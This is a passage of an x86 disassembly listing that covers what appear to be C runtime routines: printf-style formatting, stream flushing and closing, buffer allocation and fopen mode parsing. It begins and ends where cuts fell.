eax jge short loc_418041 mov [ebp+var_28], 1 jmp short loc_418041 ; --------------------------------------------------------------------------- loc_418018: ; CODE XREF: sub_417D2C+1FBj sub eax, 5Ah jz short loc_41804F sub eax, 9 jz short loc_417FE7 dec eax jz loc_418211 jmp loc_418336 ; --------------------------------------------------------------------------- loc_41802E: ; CODE XREF: sub_417D2C+2C5j call sub_41850B pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_418041: ; CODE XREF: sub_417D2C+2E1j ; sub_417D2C+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_418336 ; --------------------------------------------------------------------------- loc_41804F: ; CODE XREF: sub_417D2C+2EFj lea eax, [ebp+arg_8] push eax call sub_41850B test eax, eax pop ecx jz short loc_418090 mov ecx, [eax+4] test ecx, ecx jz short loc_418090 test byte ptr [ebp+var_4+1], 8 jz short loc_418081 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_418336 ; --------------------------------------------------------------------------- loc_418081: ; CODE XREF: sub_417D2C+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_418333 ; --------------------------------------------------------------------------- loc_418090: ; CODE XREF: sub_417D2C+32Fj ; sub_417D2C+336j mov eax, ds:off_437D48 mov [ebp+var_8], eax push eax jmp loc_41812C ; --------------------------------------------------------------------------- loc_41809E: ; CODE XREF: sub_417D2C+29Dj jnz short loc_4180AC cmp bl, 67h jnz short loc_4180AC mov [ebp+var_10], 1 loc_4180AC: ; CODE XREF: sub_417D2C+2AAj ; sub_417D2C:loc_41809Ej ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call ds:off_438088 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_4180FE cmp [ebp+var_10], 0 jnz short loc_4180FE lea eax, [ebp+var_248] push eax call ds:off_438094 pop ecx loc_4180FE: ; CODE XREF: sub_417D2C+3BCj ; sub_417D2C+3C2j cmp bl, 67h jnz short loc_418115 test esi, esi jnz short loc_418115 lea eax, [ebp+var_248] push eax call ds:off_43808C pop ecx loc_418115: ; CODE XREF: sub_417D2C+3D5j ; sub_417D2C+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41812B or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41812B: ; CODE XREF: sub_417D2C+3F0j push edi loc_41812C: ; CODE XREF: sub_417D2C+36Dj call sub_415CD0 pop ecx jmp loc_418333 ; --------------------------------------------------------------------------- loc_418137: ; CODE XREF: sub_417D2C+1E9j sub eax, 69h jz loc_418211 sub eax, 5 jz loc_4181E7 dec eax jz loc_4181D4 dec eax jz short loc_4181A4 sub eax, 3 jz loc_417F59 dec eax dec eax jz loc_418215 sub eax, 3 jnz loc_418336 mov [ebp+var_2C], 27h jmp short loc_4181B2 ; --------------------------------------------------------------------------- loc_418176: ; CODE XREF: sub_417D2C+270j ; sub_417D2C+27Aj sub eax, ecx sar eax, 1 jmp loc_418333 ; --------------------------------------------------------------------------- loc_41817F: ; CODE XREF: sub_417D2C+24Fj test ecx, ecx jnz short loc_41818C mov ecx, ds:off_437D48 mov [ebp+var_8], ecx loc_41818C: ; CODE XREF: sub_417D2C+455j mov eax, ecx loc_41818E: ; CODE XREF: sub_417D2C+46Fj mov edx, esi dec esi test edx, edx jz short loc_41819D cmp byte ptr [eax], 0 jz short loc_41819D inc eax jmp short loc_41818E ; --------------------------------------------------------------------------- loc_41819D: ; CODE XREF: sub_417D2C+467j ; sub_417D2C+46Cj sub eax, ecx jmp loc_418333 ; --------------------------------------------------------------------------- loc_4181A4: ; CODE XREF: sub_417D2C+425j mov [ebp+var_10], 8 loc_4181AB: ; CODE XREF: sub_417D2C+201j mov [ebp+var_2C], 7 loc_4181B2: ; CODE XREF: sub_417D2C+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41821C mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41821C ; --------------------------------------------------------------------------- loc_4181D4: ; CODE XREF: sub_417D2C+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41821C or byte ptr [ebp+var_4+1], 2 jmp short loc_41821C ; --------------------------------------------------------------------------- loc_4181E7: ; CODE XREF: sub_417D2C+417j lea eax, [ebp+arg_8] push eax call sub_41850B test byte ptr [ebp+var_4], 20h pop ecx jz short loc_418200 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_418205 ; --------------------------------------------------------------------------- loc_418200: ; CODE XREF: sub_417D2C+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_418205: ; CODE XREF: sub_417D2C+4D2j mov [ebp+var_28], 1 jmp loc_418434 ; default ; --------------------------------------------------------------------------- loc_418211: ; CODE XREF: sub_417D2C+2F7j ; sub_417D2C+40Ej or [ebp+var_4], 40h loc_418215: ; CODE XREF: sub_417D2C+432j mov [ebp+var_C], 0Ah loc_41821C: ; CODE XREF: sub_417D2C+491j ; sub_417D2C+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41822E lea eax, [ebp+arg_8] push eax call sub_418518 pop ecx jmp short loc_41826F ; --------------------------------------------------------------------------- loc_41822E: ; CODE XREF: sub_417D2C+4F4j test byte ptr [ebp+var_4], 20h jz short loc_418255 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41824A call sub_41850B pop ecx movsx eax, ax loc_418247: ; CODE XREF: sub_417D2C+527j ; sub_417D2C+539j cdq jmp short loc_41826F ; --------------------------------------------------------------------------- loc_41824A: ; CODE XREF: sub_417D2C+510j call sub_41850B pop ecx movzx eax, ax jmp short loc_418247 ; --------------------------------------------------------------------------- loc_418255: ; CODE XREF: sub_417D2C+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_418267 call sub_41850B pop ecx jmp short loc_418247 ; --------------------------------------------------------------------------- loc_418267: ; CODE XREF: sub_417D2C+531j call sub_41850B pop ecx xor edx, edx loc_41826F: ; CODE XREF: sub_417D2C+500j ; sub_417D2C+51Cj test byte ptr [ebp+var_4], 40h jz short loc_418290 test edx, edx jg short loc_418290 jl short loc_41827F test eax, eax jnb short loc_418290 loc_41827F: ; CODE XREF: sub_417D2C+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_418294 ; --------------------------------------------------------------------------- loc_418290: ; CODE XREF: sub_417D2C+547j ; sub_417D2C+54Bj ... mov esi, eax mov edi, edx loc_418294: ; CODE XREF: sub_417D2C+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41829D and edi, 0 loc_41829D: ; CODE XREF: sub_417D2C+56Cj cmp [ebp+var_10], 0 jge short loc_4182AC mov [ebp+var_10], 1 jmp short loc_4182B0 ; --------------------------------------------------------------------------- loc_4182AC: ; CODE XREF: sub_417D2C+575j and [ebp+var_4], 0FFFFFFF7h loc_4182B0: ; CODE XREF: sub_417D2C+57Ej mov eax, esi or eax, edi jnz short loc_4182BA and [ebp+var_1C], 0 loc_4182BA: ; CODE XREF: sub_417D2C+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_4182C0: ; CODE XREF: sub_417D2C+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_4182D0 mov eax, esi or eax, edi jz short loc_41830B loc_4182D0: ; CODE XREF: sub_417D2C+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_417240 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_4172C0 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_418301 add ebx, [ebp+var_2C] loc_418301: ; CODE XREF: sub_417D2C+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_4182C0 ; --------------------------------------------------------------------------- loc_41830B: ; CODE XREF: sub_417D2C+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_418336 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_418329 test eax, eax jnz short loc_418336 loc_418329: ; CODE XREF: sub_417D2C+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_418333: ; CODE XREF: sub_417D2C+35Fj ; sub_417D2C+406j ... mov [ebp+var_C], eax loc_418336: ; CODE XREF: sub_417D2C+21Bj ; sub_417D2C+2FDj ... cmp [ebp+var_28], 0 jnz loc_418434 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41836E test bh, 1 jz short loc_418353 mov [ebp+var_16], 2Dh jmp short loc_418367 ; --------------------------------------------------------------------------- loc_418353: ; CODE XREF: sub_417D2C+61Fj test bl, 1 jz short loc_41835E mov [ebp+var_16], 2Bh jmp short loc_418367 ; --------------------------------------------------------------------------- loc_41835E: ; CODE XREF: sub_417D2C+62Aj test bl, 2 jz short loc_41836E mov [ebp+var_16], 20h loc_418367: ; CODE XREF: sub_417D2C+625j ; sub_417D2C+630j mov [ebp+var_1C], 1 loc_41836E: ; CODE XREF: sub_417D2C+61Aj ; sub_417D2C+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41838E lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4184A2 add esp, 10h loc_41838E: ; CODE XREF: sub_417D2C+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_4184D3 add esp, 10h test bl, 8 jz short loc_4183C0 test bl, 4 jnz short loc_4183C0 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_4184A2 add esp, 10h loc_4183C0: ; CODE XREF: sub_417D2C+67Bj ; sub_417D2C+680j cmp [ebp+var_24], 0 jz short loc_418407 cmp [ebp+var_C], 0 jle short loc_418407 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_4183D5: ; CODE XREF: sub_417D2C+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_41D16F pop ecx test eax, eax pop ecx jle short loc_41841C lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_4184D3 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_4183D5 jmp short loc_41841C ; --------------------------------------------------------------------------- loc_418407: ; CODE XREF: sub_417D2C+698j ; sub_417D2C+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_4184D3 add esp, 10h loc_41841C: ; CODE XREF: sub_417D2C+6BCj ; sub_417D2C+6D9j test byte ptr [ebp+var_4], 4 jz short loc_418434 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4184A2 add esp, 10h loc_418434: ; CODE XREF: sub_417D2C+68j ; sub_417D2C+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_417D58 loc_418445: ; CODE XREF: sub_417D2C+1Fj ; sub_417D2C+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_417D2C endp ; --------------------------------------------------------------------------- off_41844D dd offset loc_417ECB ; DATA XREF: sub_417D2C+6Er dd offset loc_417DA1 ; jump table for switch statement dd offset loc_417DBC dd offset loc_417E08 dd offset loc_417E3F dd offset loc_417E47 dd offset loc_417E7C dd offset loc_417F0F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41846D proc near ; CODE XREF: sub_417D2C+1BDp ; sub_417D2C+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_418486 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_418491 ; --------------------------------------------------------------------------- loc_418486: ; CODE XREF: sub_41846D+9j push ecx push [ebp+arg_0] call sub_417C17 pop ecx pop ecx loc_418491: ; CODE XREF: sub_41846D+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41849E or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41849E: ; CODE XREF: sub_41846D+2Aj inc dword ptr [eax] pop ebp retn sub_41846D endp ; =============== S U B R O U T I N E ======================================= sub_4184A2 proc near ; CODE XREF: sub_417D2C+65Ap ; sub_417D2C+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_4184D0 mov esi, [esp+8+arg_C] loc_4184B3: ; CODE XREF: sub_4184A2+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41846D add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_4184D0 mov eax, edi dec edi test eax, eax jg short loc_4184B3 loc_4184D0: ; CODE XREF: sub_4184A2+Bj ; sub_4184A2+25j pop edi pop esi retn sub_4184A2 endp ; =============== S U B R O U T I N E ======================================= sub_4184D3 proc near ; CODE XREF: sub_417D2C+670p ; sub_417D2C+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_418507 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_4184E9: ; CODE XREF: sub_4184D3+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41846D add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_418507 mov eax, ebx dec ebx test eax, eax jg short loc_4184E9 loc_418507: ; CODE XREF: sub_4184D3+Cj ; sub_4184D3+2Bj pop edi pop esi pop ebx retn sub_4184D3 endp ; =============== S U B R O U T I N E ======================================= sub_41850B proc near ; CODE XREF: sub_417D2C+E5p ; sub_417D2C+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41850B endp ; =============== S U B R O U T I N E ======================================= sub_418518 proc near ; CODE XREF: sub_417D2C+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_418518 endp ; =============== S U B R O U T I N E ======================================= sub_418528 proc near ; CODE XREF: sub_417D2C+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_418528 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418536 proc near ; CODE XREF: sub_4159B4+17p ; sub_4159B4+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_418554 mov ecx, ds:off_437D50 movzx eax, word ptr [ecx+eax*2] jmp short loc_4185A6 ; --------------------------------------------------------------------------- loc_418554: ; CODE XREF: sub_418536+10j mov ecx, eax push esi mov esi, ds:off_437D50 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_418579 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_418582 ; --------------------------------------------------------------------------- loc_418579: ; CODE XREF: sub_418536+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_418582: ; CODE XREF: sub_418536+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call loc_41D1D7 add esp, 1Ch test eax, eax jnz short loc_4185A2 leave retn ; --------------------------------------------------------------------------- loc_4185A2: ; CODE XREF: sub_418536+68j movzx eax, word ptr [ebp+arg_0+2] loc_4185A6: ; CODE XREF: sub_418536+1Cj and eax, [ebp+arg_4] leave retn sub_418536 endp ; =============== S U B R O U T I N E ======================================= sub_4185AB proc near ; CODE XREF: sub_415B20+2Ap ; sub_41D53A+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, ds:dword_46A8A0 jnb loc_418645 mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:46A7A0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_418645 push edi call sub_41D4A6 cmp eax, 0FFFFFFFFh pop ecx jz short loc_418624 cmp edi, 1 jz short loc_4185F2 cmp edi, 2 jnz short loc_418608 loc_4185F2: ; CODE XREF: sub_4185AB+40j push 2 call sub_41D4A6 push 1 mov ebp, eax call sub_41D4A6 pop ecx cmp eax, ebp pop ecx jz short loc_418624 loc_418608: ; CODE XREF: sub_4185AB+45j push edi call sub_41D4A6 pop ecx push eax call ds:dword_42106C ; CloseHandle test eax, eax jnz short loc_418624 call ds:dword_421088 ; RtlGetLastWin32Error mov ebp, eax jmp short loc_418626 ; --------------------------------------------------------------------------- loc_418624: ; CODE XREF: sub_4185AB+3Bj ; sub_4185AB+5Bj ... xor ebp, ebp loc_418626: ; CODE XREF: sub_4185AB+77j push edi call sub_41D42C mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_418641 push ebp call sub_41C5B7 pop ecx jmp short loc_418656 ; --------------------------------------------------------------------------- loc_418641: ; CODE XREF: sub_4185AB+8Bj xor eax, eax jmp short loc_418659 ; --------------------------------------------------------------------------- loc_418645: ; CODE XREF: sub_4185AB+Ej ; sub_4185AB+2Fj and ds:dword_469478, 0 mov ds:dword_469474, 9 loc_418656: ; CODE XREF: sub_4185AB+94j or eax, 0FFFFFFFFh loc_418659: ; CODE XREF: sub_4185AB+98j pop edi pop esi pop ebp pop ebx retn sub_4185AB endp ; =============== S U B R O U T I N E ======================================= sub_41865E proc near ; CODE XREF: sub_415B20+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_418687 test al, 8 jz short loc_418687 push dword ptr [esi+8] call sub_415E1D and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_418687: ; CODE XREF: sub_41865E+Aj ; sub_41865E+Ej pop esi retn sub_41865E endp ; =============== S U B R O U T I N E ======================================= sub_418689 proc near ; CODE XREF: sub_418729+2Dp ; sub_418729+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41869B push esi call sub_418729 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41869B: ; CODE XREF: sub_418689+7j push esi call sub_4186C4 test eax, eax pop ecx jz short loc_4186AB or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4186AB: ; CODE XREF: sub_418689+1Bj test byte ptr [esi+0Dh], 40h jz short loc_4186C0 push dword ptr [esi+10h] call sub_41D4E3 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_4186C0: ; CODE XREF: sub_418689+26j xor eax, eax pop esi retn sub_418689 endp ; =============== S U B R O U T I N E ======================================= sub_4186C4 proc near ; CODE XREF: sub_415B20+1Ap ; seg000:00416E55p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_418711 test ax, 108h jz short loc_418711 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_418711 push edi push eax push dword ptr [esi+10h] call sub_41C40A add esp, 0Ch cmp eax, edi jnz short loc_41870A mov eax, [esi+0Ch] test al, 80h jz short loc_418711 and al, 0FDh mov [esi+0Ch], eax jmp short loc_418711 ; --------------------------------------------------------------------------- loc_41870A: ; CODE XREF: sub_4186C4+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_418711: ; CODE XREF: sub_4186C4+14j ; sub_4186C4+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_4186C4 endp ; =============== S U B R O U T I N E ======================================= sub_418720 proc near ; CODE XREF: sub_41D15Bp push 1 call sub_418729 pop ecx retn sub_418720 endp ; =============== S U B R O U T I N E ======================================= sub_418729 proc near ; CODE XREF: sub_418689+Ap ; sub_418720+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp ds:dword_46A780, esi jle short loc_418787 loc_41873A: ; CODE XREF: sub_418729+5Cj mov eax, ds:dword_469760 mov eax, [eax+esi*4] test eax, eax jz short loc_41877E mov ecx, [eax+0Ch] test cl, 83h jz short loc_41877E cmp [esp+0Ch+arg_0], 1 jnz short loc_418764 push eax call sub_418689 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41877E inc ebx jmp short loc_41877E ; --------------------------------------------------------------------------- loc_418764: ; CODE XREF: sub_418729+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41877E test cl, 2 jz short loc_41877E push eax call sub_418689 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41877E or edi, eax loc_41877E: ; CODE XREF: sub_418729+1Bj ; sub_418729+23j ... inc esi cmp esi, ds:dword_46A780 jl short loc_41873A loc_418787: ; CODE XREF: sub_418729+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_418792 mov eax, edi loc_418792: ; CODE XREF: sub_418729+65j pop edi pop esi pop ebx retn sub_418729 endp ; =============== S U B R O U T I N E ======================================= sub_418796 proc near ; CODE XREF: sub_415B76+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41D090 test eax, eax pop ecx jz short loc_41881F cmp esi, offset dword_438468 jnz short loc_4187B4 xor eax, eax jmp short loc_4187BF ; --------------------------------------------------------------------------- loc_4187B4: ; CODE XREF: sub_418796+18j cmp esi, offset dword_438488 jnz short loc_41881F push 1 pop eax loc_4187BF: ; CODE XREF: sub_418796+1Cj inc ds:dword_469634 test word ptr [esi+0Ch], 10Ch jnz short loc_41881F cmp ds:dword_4694CC[eax*4], 0 push ebx push edi lea edi, ds:4694CCh[eax*4] mov ebx, 1000h jnz short loc_418805 push ebx call sub_415DA9 test eax, eax pop ecx mov [edi], eax jnz short loc_418805 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_418812 ; --------------------------------------------------------------------------- loc_418805: ; CODE XREF: sub_418796+4Dj ; sub_418796+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_418812: ; CODE XREF: sub_418796+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_41881F: ; CODE XREF: sub_418796+10j ; sub_418796+24j ... xor eax, eax pop esi retn sub_418796 endp ; =============== S U B R O U T I N E ======================================= sub_418823 proc near ; CODE XREF: sub_415B76+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_41884D mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41885E push esi call sub_4186C4 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41884D: ; CODE XREF: sub_418823+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_41885E push eax call sub_4186C4 pop ecx loc_41885E: ; CODE XREF: sub_418823+10j ; sub_418823+32j pop esi retn sub_418823 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418860 proc near ; CODE XREF: sub_415BA8+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, ds:dword_46963C push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_418899 cmp al, 72h jz short loc_418892 cmp al, 77h jnz loc_4189AD mov ecx, 301h jmp short loc_41889E ; --------------------------------------------------------------------------- loc_418892: ; CODE XREF: sub_418860+21j xor ecx, ecx or esi, 1 jmp short loc_4188A1 ; --------------------------------------------------------------------------- loc_418899: ; CODE XREF: sub_418860+1Dj mov ecx, 109h loc_41889E: ; CODE XREF: sub_418860+30j or esi, 2 loc_4188A1: ; CODE XREF: sub_418860+37j push 1 pop edx loc_4188A4: ; CODE XREF: sub_418860+8Bj ; sub_418860+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_418993 cmp edx, ebx jz loc_418993 movsx eax, al cmp eax, 54h jg short loc_418932 jz short loc_418922 sub eax, 2Bh jz short loc_41890C sub eax, 19h jz short loc_418902 sub eax, 0Eh jz short loc_4188ED dec eax jnz loc_418984 cmp [ebp+var_4], ebx jnz loc_418984 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_4188A4 ; --------------------------------------------------------------------------- loc_4188ED: ; CODE XREF: sub_418860+6Fj cmp [ebp+var_4], ebx jnz loc_418984 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_4188A4 ; --------------------------------------------------------------------------- loc_418902: ; CODE XREF: sub_418860+6Aj test cl, 40h jnz short loc_418984 or ecx, 40h jmp short loc_4188A4 ; --------------------------------------------------------------------------- loc_41890C: ; CODE XREF: sub_418860+65j test cl, 2 jnz short loc_418984 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_4188A4 ; --------------------------------------------------------------------------- loc_418922: ; CODE XREF: sub_418860+60j mov eax, 1000h test ecx, eax jnz short loc_418984 or ecx, eax jmp loc_4188A4 ; --------------------------------------------------------------------------- loc_418932: ; CODE XREF: sub_418860+5Ej sub eax, 62h jz short loc_41897F dec eax jz short loc_418968 sub eax, 0Bh jz short loc_418951 sub eax, 6 jnz short loc_418984 test ch, 0C0h jnz short loc_418984 or ch, 40h jmp loc_4188A4 ; --------------------------------------------------------------------------- loc_418951: ; CODE XREF: sub_418860+DDj cmp [ebp+var_8], ebx jnz short loc_418984 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_4188A4 ; --------------------------------------------------------------------------- loc_418968: ; CODE XREF: sub_418860+D8j cmp [ebp+var_8], ebx jnz short loc_418984 mov [ebp+var_8], 1 or esi, 4000h jmp loc_4188A4 ; --------------------------------------------------------------------------- loc_41897F: ; CODE XREF: sub_418860+D5j test ch, 0C0h jz short loc_41898B loc_418984: ; CODE XREF: sub_418860+72j ; sub_418860+7Bj ... xor edx, edx jmp loc_4188A4 ; --------------------------------------------------------------------------- loc_41898B: ; CODE XREF: sub_418860+122j or ch, 80h jmp loc_4188A4 ; --------------------------------------------------------------------------- loc_418993: ; CODE XREF: sub_418860+4Aj ; sub_418860+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41D53A mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_4189B1 loc_4189AD: ; CODE XREF: sub_418860+25j xor eax, eax jmp short loc_4189CB ; --------------------------------------------------------------------------- loc_4189B1: ; CODE XREF: sub_418860+14Bj mov eax, [ebp+arg_C] inc ds:dword_469634 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_4189CB: ; CODE XREF: sub_418860+14Fj pop edi pop esi pop ebx leave retn sub_418860 endp ; =============== S U B R O U T I N E ======================================= sub_4189D0 proc near ; CODE XREF: sub_415BA8p mov edx, ds:dword_46A780 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_418A41 mov ebx, ds:dword_469760 mov edi, ebx loc_4189EC: ; CODE XREF: sub_4189D0+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_418A07 test byte ptr [ecx+0Ch], 83h jz short loc_418A02 inc eax add edi, 4 cmp eax, edx jl short loc_4189EC jmp short loc_418A41 ; --------------------------------------------------------------------------- loc_418A02: ; CODE XREF: sub_4189D0+26j mov esi, [ebx+eax*4] jmp short loc_418A2B ; --------------------------------------------------------------------------- loc_418A07: ; CODE XREF: sub_4189D0+20j mov edi, eax push 20h shl edi, 2 call sub_415DA9 pop ecx mov ecx, ds:dword_469760 mov [edi+ecx], eax mov eax, ds:dword_469760 mov edi, [edi+eax] cmp edi, ebp jz short loc_418A41 mov esi, edi loc_418A2B: ; CODE XREF: sub_4189D0+35j cmp esi, ebp jz short loc_418A41 or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp 